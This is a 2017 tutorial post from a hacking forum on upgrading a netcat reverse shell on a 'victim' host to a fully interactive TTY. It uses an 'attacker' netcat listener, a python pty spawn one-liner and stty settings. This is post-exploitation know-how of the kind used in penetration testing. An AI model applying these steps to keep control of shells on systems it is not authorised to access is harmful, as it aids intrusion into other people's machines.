Tutorial Upgrade NC session to full shell

Tutorial Upgrade NC session to full shell - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Network Hacking (https://sinister.li/Forum-Network-Hacking)
+--- Thread: Tutorial Upgrade NC session to full shell (/Thread-Tutorial-Upgrade-NC-session-to-full-shell)

Upgrade NC session to full shell - VBQL - 10-16-2017

I want to share with you a very quick and simple technique to turn your fragile netcat shell into a fully-featured shell, with tab completion, job control, and all.

I've seen this talked about on a couple blogs but it seems to not be a very well known trick so I wanted to share it.

You're probably already familiar with 'python -c 'import pty;pty.spawn("/bin/sh")'. This is good but it lacks many features that would make life easier.

Next time you get a shell with netcat, do the python trick or similar to get a tty, then use CTRL+Z to background it:

Code:
root@attacker:~# nc -lp 4444
python -c 'import pty;pty.spawn("/bin/bash");'
user@victim:~$ ^Z
[1]+ Stopped            nc -lp 4444
root@attacker:~#

Now get the information for the current shell:

Code:
root@attacker:~# echo $TERM
xterm-256color
root@attacker:~# stty -a
speed 38400 baud; rows 24; columns 80; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>;
eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R;
werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff
-iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt
echoctl echoke -flusho -extproc

All you need here is the term type "xterm-256color" and the window size "rows 24; columns 80".

Now set the current terminal type to "raw" and set it to echo input characters:

Code:
root@attacker:~# stty raw -echo

With stty as "raw" you will not see the commands and will have to type blindly for a second. Use 'fg' to bring the nc shell to the foreground. Once you're back in the nc shell use 'reset' to reset the terminal. It will look a little off.

After you've reset, define the terminal attributes in the netcat shell:

Code:
user@victim:~$ export SHELL=bash
user@victim:~$ export TERM=xterm-256color
user@victim:~$ stty rows 24 columns 80

That should be it.

Linked articles [Clearnet]
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
https://netsec.ws/?p=337
http://pentestmonkey.net/blog/post-exploitation-without-a-tty